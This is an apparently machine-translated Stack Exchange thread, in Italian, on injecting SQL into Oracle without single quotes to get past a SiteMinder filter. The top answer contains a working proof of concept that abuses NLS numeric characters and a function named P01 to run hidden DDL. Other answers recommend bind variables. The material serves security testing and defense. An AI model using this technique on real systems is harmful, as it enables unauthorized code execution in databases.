C'è un modo per uscire dalla stringa e iniettare SQL senza usare una singola virgoletta in Oracle?


12

Sto testando un'applicazione basata su Oracle e ho trovato il seguente codice:

Query = "SELEZIONA nome DA Dipendenti DOVE id = '" + PKID + "';"

cioè la stringa di query contiene virgolette attorno al valore PKID che si ottiene direttamente dall'URL.

Ovviamente, si tratta di una classica iniezione SQL in attesa di verificarsi ... tranne per il fatto che l'applicazione è dietro CA SiteMinder che blocca qualsiasi URL con una singola virgoletta (in qualsiasi forma) dal passaggio all'applicazione.

C'è un modo per uscire dalla stringa e iniettare SQL senza usare una sola virgoletta?

Modifica: mi dispiace, avrei dovuto essere più chiaro - capisco come dovrebbe essere scritto, ma devo convincere le persone che si tratta di un problema sfruttabile. Al momento perché è dietro siteminder che blocca le virgolette singole, quindi sarà una correzione a bassa priorità.


1
hai provato a usare una variabile bind?
JHFB,

Cosa ha detto @JHFB. Le variabili vincolanti sono pratiche standard.
Philᵀᴹ

Risposte:


9

Sì, è possibile eseguire un attacco di iniezione SQL senza fornire virgolette nel parametro.

Il modo per farlo è con un exploit a che fare con il modo in cui i numeri e / o le date vengono elaborati. È possibile specificare a livello di sessione quale sia il formato di una data o di un numero. Manipolandolo, puoi quindi iniettare qualsiasi personaggio.

Per impostazione predefinita nel Regno Unito e negli Stati Uniti, una virgola viene utilizzata per indicare il separatore delle migliaia in numeri e un punto per il punto decimale. È possibile modificare queste impostazioni predefinite eseguendo:

alter session set nls_numeric_characters = 'PZ';

Ciò significa che "P" è ora il punto decimale e "Z" è il separatore delle migliaia. Così:

0P01

È il numero 0,01. Tuttavia, se si crea una funzione P01, il riferimento all'oggetto verrà raccolto prima della conversione del numero. Ciò consente di eseguire funzioni sul database offrendo poteri crescenti, come segue:

Creare una funzione "get by id" di base:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Crea anche una funzione P01 che fa qualcosa di indesiderabile (in questo caso solo creando una tabella, ma ottieni l'idea):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

E siamo a posto:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Nessuna virgoletta da nessuna parte, ma siamo comunque riusciti a eseguire la funzione "nascosta" P01 e creare la tabella t!

Mentre questo può essere difficile da fare in pratica (e può richiedere alcune conoscenze / aiuto interni), ciò dimostra che è possibile iniettare SQL senza dover avere virgolette. La modifica di nls_date_formatpuò consentire operazioni simili.

Le scoperte originali per i numeri erano di David Litchfield e puoi leggere il suo articolo qui . Puoi trovare la discussione di Tom Kyte su come le date possono essere sfruttate qui .


4

Probabilmente potresti sovraccaricare il tipo di dati che stai utilizzando, causando il fallimento dell'istruzione. Quindi ciò che viene dopo potrebbe essere potenzialmente eseguito.

Forse inviarlo come un array di byte Unicode farebbe il trucco e ti farà uscire da quell'istruzione per un altro.

Se c'è un buco aperto, verrà abusato. E bloccare tutte le stringhe con una sola citazione non è una buona idea in quanto le persone con il cognome "O'Brian" non possono essere i tuoi clienti (tra gli altri).


Immagino che intendi "buco" e non "intero".
ypercubeᵀᴹ

1

Prova a utilizzare una variabile di bind. È possibile dichiararlo come un numero e ciò dovrebbe impedire un'iniezione SQL dannosa.

AGGIUNTA: le variabili di bind aumentano anche le prestazioni e la scalabilità perché il piano di query viene compilato e archiviato per il riutilizzo. Solo qualcos'altro da aggiungere alla tua discussione. :)


1
Non sta chiedendo come prevenire l'iniezione ma come abusarne .
Jeff,

1
@jeff L'OP chiede anche motivi per non utilizzare questo tipo di codice. Non utilizzare le variabili di bind distrugge le prestazioni, quindi questo è un buon motivo per usarle sempre .
Vincent Malgrat,

@Vincent Malgrat: "Non usare le variabili di bind distrugge le prestazioni" è sbagliato. È vero che la ricompilazione di un'istruzione può essere evitata usando le variabili di bind. Inoltre, il pool condiviso sarà invaso da molte istruzioni simili se non si utilizzano variabili di bind. Tuttavia l'ottimizzatore ha meno informazioni per la costruzione di un piano se si utilizzano variabili di bind anziché valori letterali. Ci sono situazioni in cui dovrebbero essere selezionati piani diversi a seconda dei valori delle variabili di bind (o dei valori letterali).
miracle173,

@ miracle173 Naturalmente ci saranno eccezioni, ma non per una ricerca chiave primaria come fornita dall'OP, mai =)
Vincent Malgrat,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.